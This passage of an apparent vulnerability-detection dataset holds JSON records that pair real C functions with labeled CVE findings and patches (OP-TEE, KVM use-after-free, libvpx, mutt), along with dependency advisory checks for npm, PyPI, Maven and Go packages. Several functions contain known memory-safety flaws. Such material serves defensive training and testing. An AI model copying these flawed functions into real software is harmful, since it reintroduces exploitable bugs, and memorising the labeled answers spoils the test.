security vulnerability, and report as JSON.", "input": "TEE_Result syscall_obj_generate_key(unsigned long obj, unsigned long key_size,\n\t\t\tconst struct utee_attribute *usr_params,\n\t\t\tunsigned long param_count)\n{\n\tTEE_Result res;\n\tstruct tee_ta_session *sess;\n\tconst struct tee_cryp_obj_type_props *type_props;\n\tstruct tee_obj *o;\n\tstruct tee_cryp_obj_secret *key;\n\tsize_t byte_size;\n\tTEE_Attribute *params = NULL;\n\n\tres = tee_ta_get_current_session(&sess);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tres = tee_obj_get(to_user_ta_ctx(sess->ctx),\n\t\t\t tee_svc_uref_to_vaddr(obj), &o);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\t/* Must be a transient object */\n\tif ((o->info.handleFlags & TEE_HANDLE_FLAG_PERSISTENT) != 0)\n\t\treturn TEE_ERROR_BAD_STATE;\n\n\t/* Must not be initialized already */\n\tif ((o->info.handleFlags & TEE_HANDLE_FLAG_INITIALIZED) != 0)\n\t\treturn TEE_ERROR_BAD_STATE;\n\n\t/* Find description of object */\n\ttype_props = tee_svc_find_type_props(o->info.objectType);\n\tif (!type_props)\n\t\treturn TEE_ERROR_NOT_SUPPORTED;\n\n\t/* Check that maxKeySize follows restrictions */\n\tif (key_size % type_props->quanta != 0)\n\t\treturn TEE_ERROR_NOT_SUPPORTED;\n\tif (key_size < type_props->min_size)\n\t\treturn TEE_ERROR_NOT_SUPPORTED;\n \tif (key_size > type_props->max_size)\n \t\treturn TEE_ERROR_NOT_SUPPORTED;\n \n\tparams = malloc(sizeof(TEE_Attribute) * param_count);\n \tif (!params)\n \t\treturn TEE_ERROR_OUT_OF_MEMORY;\n \tres = copy_in_attrs(to_user_ta_ctx(sess->ctx), usr_params, param_count,\n\t\t\t params);\n\tif (res != TEE_SUCCESS)\n\t\tgoto out;\n\n\tres = tee_svc_cryp_check_attr(ATTR_USAGE_GENERATE_KEY, type_props,\n\t\t\t\t params, param_count);\n\tif (res != TEE_SUCCESS)\n\t\tgoto out;\n\n\tswitch (o->info.objectType) {\n\tcase TEE_TYPE_AES:\n\tcase TEE_TYPE_DES:\n\tcase TEE_TYPE_DES3:\n\tcase TEE_TYPE_HMAC_MD5:\n\tcase TEE_TYPE_HMAC_SHA1:\n\tcase TEE_TYPE_HMAC_SHA224:\n\tcase TEE_TYPE_HMAC_SHA256:\n\tcase TEE_TYPE_HMAC_SHA384:\n\tcase TEE_TYPE_HMAC_SHA512:\n\tcase TEE_TYPE_GENERIC_SECRET:\n\t\tbyte_size = key_size / 8;\n\n\t\t/*\n\t\t * We have to do it like this because the parity bits aren't\n\t\t * counted when telling the size of the key in bits.\n\t\t */\n\t\tif (o->info.objectType == TEE_TYPE_DES ||\n\t\t o->info.objectType == TEE_TYPE_DES3) {\n\t\t\tbyte_size = (key_size + key_size / 7) / 8;\n\t\t}\n\n\t\tkey = (struct tee_cryp_obj_secret *)o->attr;\n\t\tif (byte_size > key->alloc_size) {\n\t\t\tres = TEE_ERROR_EXCESS_DATA;\n\t\t\tgoto out;\n\t\t}\n\n\t\tres = crypto_rng_read((void *)(key + 1), byte_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\tgoto out;\n\n\t\tkey->key_size = byte_size;\n\n\t\t/* Set bits for all known attributes for this object type */\n\t\to->have_attrs = (1 << type_props->num_type_attrs) - 1;\n\n\t\tbreak;\n\n\tcase TEE_TYPE_RSA_KEYPAIR:\n\t\tres = tee_svc_obj_generate_key_rsa(o, type_props, key_size,\n\t\t\t\t\t\t params, param_count);\n\t\tif (res != TEE_SUCCESS)\n\t\t\tgoto out;\n\t\tbreak;\n\n\tcase TEE_TYPE_DSA_KEYPAIR:\n\t\tres = tee_svc_obj_generate_key_dsa(o, type_props, key_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\tgoto out;\n\t\tbreak;\n\n\tcase TEE_TYPE_DH_KEYPAIR:\n\t\tres = tee_svc_obj_generate_key_dh(o, type_props, key_size,\n\t\t\t\t\t\t params, param_count);\n\t\tif (res != TEE_SUCCESS)\n\t\t\tgoto out;\n\t\tbreak;\n\n\tcase TEE_TYPE_ECDSA_KEYPAIR:\n\tcase TEE_TYPE_ECDH_KEYPAIR:\n\t\tres = tee_svc_obj_generate_key_ecc(o, type_props, key_size,\n\t\t\t\t\t\t params, param_count);\n\t\tif (res != TEE_SUCCESS)\n\t\t\tgoto out;\n\t\tbreak;\n\n\tdefault:\n\t\tres = TEE_ERROR_BAD_FORMAT;\n\t}\n\nout:\n\tfree(params);\n\tif (res == TEE_SUCCESS) {\n\t\to->info.keySize = key_size;\n\t\to->info.handleFlags |= TEE_HANDLE_FLAG_INITIALIZED;\n\t}\n\treturn res;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-1010297\",\n \"project\": \"optee_os\",\n \"vulnerable_lines\": [\n 43\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"TEE_Result\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"syscall_obj_generate_key\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"obj\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"key_size\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 2,\n \"col\": 3\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"utee_attribute\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"usr_params\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 3,\n \"col\": 3\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"param_count\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 0\n },\n {\n \"token\": \"TEE_Result\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"tee_ta_session\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 23\n },\n {\n \"token\": \"sess\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"tee_cryp_obj_type_props\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 38\n },\n {\n \"token\": \"type_props\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 39\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 49\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"tee_obj\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"o\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"tee_cryp_obj_secret\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 28\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 32\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"byte_size\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 17\n },\n {\n \"token\": \"TEE_Attribute\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \"params\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 23\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 11,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 29\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"tee_ta_get_current_session\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 33\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 13,\n \"col\": 34\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: nodemailer\nInstalled version: 9.1.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"nodemailer\",\n \"installed_version\": \"9.1.0\",\n \"note\": \"nodemailer 9.1.0 is at or above the fixed version for GHSA-wmmp-3585-3rmp; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int in_egroup_p(gid_t grp)\n{\n\tint retval = 1;\n\tif (grp != current->egid)\n\t\tretval = groups_search(current->group_info, grp);\n\treturn retval;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": "void test_base64_lengths(void)\n{\n const char *in = \"FuseMuse\";\n char out1[32];\n char out2[32];\n size_t enclen;\n int declen;\n\n /* Encoding a zero-length string should fail */\n enclen = mutt_b64_encode(out1, in, 0, 32);\n if (!TEST_CHECK(enclen == 0))\n {\n TEST_MSG(\"Expected: %zu\", 0);\n TEST_MSG(\"Actual : %zu\", enclen);\n }\n \n /* Decoding a zero-length string should fail, too */\n out1[0] = '\\0';\n declen = mutt_b64_decode(out2, out1);\n if (!TEST_CHECK(declen == -1))\n {\n TEST_MSG(\"Expected: %zu\", -1);\n TEST_MSG(\"Actual : %zu\", declen);\n }\n\n /* Encode one to eight bytes, check the lengths of the returned string */\n for (size_t i = 1; i <= 8; ++i)\n {\n enclen = mutt_b64_encode(out1, in, i, 32);\n size_t exp = ((i + 2) / 3) << 2;\n if (!TEST_CHECK(enclen == exp))\n {\n TEST_MSG(\"Expected: %zu\", exp);\n TEST_MSG(\"Actual : %zu\", enclen);\n }\n declen = mutt_b64_decode(out2, out1);\n if (!TEST_CHECK(declen == i))\n {\n TEST_MSG(\"Expected: %zu\", i);\n TEST_MSG(\"Actual : %zu\", declen);\n }\n out2[declen] = '\\0';\n if (!TEST_CHECK(strncmp(out2, in, i) == 0))\n {\n TEST_MSG(\"Expected: %s\", in);\n TEST_MSG(\"Actual : %s\", out2);\n }\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2018-14359\",\n \"fixed_code\": \"void test_base64_lengths(void)\\n{\\n const char *in = \\\"FuseMuse\\\";\\n char out1[32];\\n char out2[32];\\n size_t enclen;\\n int declen;\\n\\n /* Encoding a zero-length string should fail */\\n enclen = mutt_b64_encode(out1, in, 0, 32);\\n if (!TEST_CHECK(enclen == 0))\\n {\\n TEST_MSG(\\\"Expected: %zu\\\", 0);\\n TEST_MSG(\\\"Actual : %zu\\\", enclen);\\n }\\n \\n /* Decoding a zero-length string should fail, too */\\n out1[0] = '\\\\0';\\n declen = mutt_b64_decode(out2, out1, sizeof(out2));\\n if (!TEST_CHECK(declen == -1))\\n {\\n TEST_MSG(\\\"Expected: %zu\\\", -1);\\n TEST_MSG(\\\"Actual : %zu\\\", declen);\\n }\\n\\n /* Encode one to eight bytes, check the lengths of the returned string */\\n for (size_t i = 1; i <= 8; ++i)\\n {\\n enclen = mutt_b64_encode(out1, in, i, 32);\\n size_t exp = ((i + 2) / 3) << 2;\\n if (!TEST_CHECK(enclen == exp))\\n {\\n TEST_MSG(\\\"Expected: %zu\\\", exp);\\n TEST_MSG(\\\"Actual : %zu\\\", enclen);\\n }\\n declen = mutt_b64_decode(out2, out1, sizeof(out2));\\n if (!TEST_CHECK(declen == i))\\n {\\n TEST_MSG(\\\"Expected: %zu\\\", i);\\n TEST_MSG(\\\"Actual : %zu\\\", declen);\\n }\\n out2[declen] = '\\\\0';\\n if (!TEST_CHECK(strncmp(out2, in, i) == 0))\\n {\\n TEST_MSG(\\\"Expected: %s\\\", in);\\n TEST_MSG(\\\"Actual : %s\\\", out2);\\n }\\n }\\n}\\n\",\n \"change_summary\": \"Check outbuf length in mutt_to_base64()\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: wheel\nInstalled version: <0.38.1\nSummary: An issue discovered in Python Packaging Authority (PyPA) Wheel 0.37.1 and earlier allows remote attackers to cause a denial of service via attacker controlled input to wheel cli.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2022-43017\",\n \"cve\": \"CVE-2022-40898\",\n \"aliases\": [\n \"CVE-2022-40898\",\n \"GHSA-qwmp-2cf2-g9g6\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"wheel\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.38.1\",\n \"fixed_version\": \"0.38.1\",\n \"finding\": \"An issue discovered in Python Packaging Authority (PyPA) Wheel 0.37.1 and earlier allows remote attackers to cause a denial of service via attacker controlled input to wheel cli.\",\n \"remediation\": \"Upgrade wheel to 0.38.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int kvm_ioctl_create_device(struct kvm *kvm,\n\t\t\t\t struct kvm_create_device *cd)\n{\n\tstruct kvm_device_ops *ops = NULL;\n\tstruct kvm_device *dev;\n\tbool test = cd->flags & KVM_CREATE_DEVICE_TEST;\n\tint ret;\n\n\tif (cd->type >= ARRAY_SIZE(kvm_device_ops_table))\n\t\treturn -ENODEV;\n\n\tops = kvm_device_ops_table[cd->type];\n\tif (ops == NULL)\n\t\treturn -ENODEV;\n\n\tif (test)\n\t\treturn 0;\n\n\tdev = kzalloc(sizeof(*dev), GFP_KERNEL);\n\tif (!dev)\n\t\treturn -ENOMEM;\n\n\tdev->ops = ops;\n\tdev->kvm = kvm;\n\n\tmutex_lock(&kvm->lock);\n\tret = ops->create(dev, cd->type);\n\tif (ret < 0) {\n\t\tmutex_unlock(&kvm->lock);\n\t\tkfree(dev);\n\t\treturn ret;\n\t}\n\tlist_add(&dev->vm_node, &kvm->devices);\n\tmutex_unlock(&kvm->lock);\n\n\tif (ops->init)\n\t\tops->init(dev);\n \n \tret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);\n \tif (ret < 0) {\n\t\tops->destroy(dev);\n \t\tmutex_lock(&kvm->lock);\n \t\tlist_del(&dev->vm_node);\n \t\tmutex_unlock(&kvm->lock);\n \t\treturn ret;\n \t}\n \n\tkvm_get_kvm(kvm);\n\tcd->fd = ret;\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10150\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 41\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 40,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 40,\n \"col\": 5\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 40,\n \"col\": 6\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 40,\n \"col\": 10\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 40,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 40,\n \"col\": 13\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 40,\n \"col\": 15\n },\n {\n \"token\": \"ops\",\n \"ast_node\": \"identifier\",\n \"line\": 41,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 41,\n \"col\": 5\n },\n {\n \"token\": \"destroy\",\n \"ast_node\": \"field_identifier\",\n \"line\": 41,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 41,\n \"col\": 14\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 41,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 41,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 41,\n \"col\": 19\n },\n {\n \"token\": \"mutex_lock\",\n \"ast_node\": \"identifier\",\n \"line\": 42,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 42,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 42,\n \"col\": 14\n },\n {\n \"token\": \"kvm\",\n \"ast_node\": \"identifier\",\n \"line\": 42,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 42,\n \"col\": 18\n },\n {\n \"token\": \"lock\",\n \"ast_node\": \"field_identifier\",\n \"line\": 42,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 42,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 42,\n \"col\": 25\n },\n {\n \"token\": \"list_del\",\n \"ast_node\": \"identifier\",\n \"line\": 43,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 43,\n \"col\": 11\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 43,\n \"col\": 12\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 43,\n \"col\": 13\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 43,\n \"col\": 16\n },\n {\n \"token\": \"vm_node\",\n \"ast_node\": \"field_identifier\",\n \"line\": 43,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 43,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 43,\n \"col\": 26\n },\n {\n \"token\": \"mutex_unlock\",\n \"ast_node\": \"identifier\",\n \"line\": 44,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 44,\n \"col\": 15\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 44,\n \"col\": 16\n },\n {\n \"token\": \"kvm\",\n \"ast_node\": \"identifier\",\n \"line\": 44,\n \"col\": 17\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 44,\n \"col\": 20\n },\n {\n \"token\": \"lock\",\n \"ast_node\": \"field_identifier\",\n \"line\": 44,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 44,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 44,\n \"col\": 27\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 45,\n \"col\": 3\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 45,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 45,\n \"col\": 13\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 46,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.xwiki.platform:xwiki-platform-oldcore\nInstalled version: 13.10.10\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.xwiki.platform:xwiki-platform-oldcore\",\n \"installed_version\": \"13.10.10\",\n \"note\": \"org.xwiki.platform:xwiki-platform-oldcore 13.10.10 is at or above the fixed version for GHSA-xwph-x6xj-wggv; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-862", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost/server/v8\nInstalled version: 10.11.0\nSummary: Mattermost doesn't check the create_post channel permission during post edit operations", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-v549-xx3c-6pc8\",\n \"cve\": \"CVE-2026-3637\",\n \"aliases\": [\n \"CVE-2026-3637\",\n \"GO-2026-5651\"\n ],\n \"cwe\": \"CWE-862\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost/server/v8\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=10.11.0, <10.11.14\",\n \"fixed_version\": \"10.11.14\",\n \"finding\": \"Mattermost doesn't check the create_post channel permission during post edit operations\",\n \"remediation\": \"Upgrade github.com/mattermost/mattermost/server/v8 to 10.11.14 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int dane_verify_session_crt (\n dane_state_t s,\n\tgnutls_session_t session,\n\tconst char * hostname, const char* proto, unsigned int port,\n\tunsigned int sflags, unsigned int vflags,\n\tunsigned int *verify)\n{\nconst gnutls_datum_t *cert_list;\nunsigned int cert_list_size = 0;\nunsigned int type;\n\n\tcert_list = gnutls_certificate_get_peers(session, &cert_list_size);\n\tif (cert_list_size == 0) {\n\t\treturn gnutls_assert_val(DANE_E_NO_CERT);\n\t}\n\t\n\ttype = gnutls_certificate_type_get(session);\n\t\n\treturn dane_verify_crt(s, cert_list, cert_list_size, type, hostname, proto, port, sflags, vflags, verify);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"gnutls\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " static void unset_active_map(const vpx_codec_enc_cfg_t *cfg,\n vpx_codec_ctx_t *codec) {\n vpx_active_map_t map = {0};\n \n map.rows = (cfg->g_h + 15) / 16;\n map.cols = (cfg->g_w + 15) / 16;\n map.active_map = NULL;\n\n if (vpx_codec_control(codec, VP8E_SET_ACTIVEMAP, &map))\n\n die_codec(codec, \"Failed to set active map\");\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1621\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"unset_active_map\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"vpx_codec_enc_cfg_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"cfg\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"vpx_codec_ctx_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 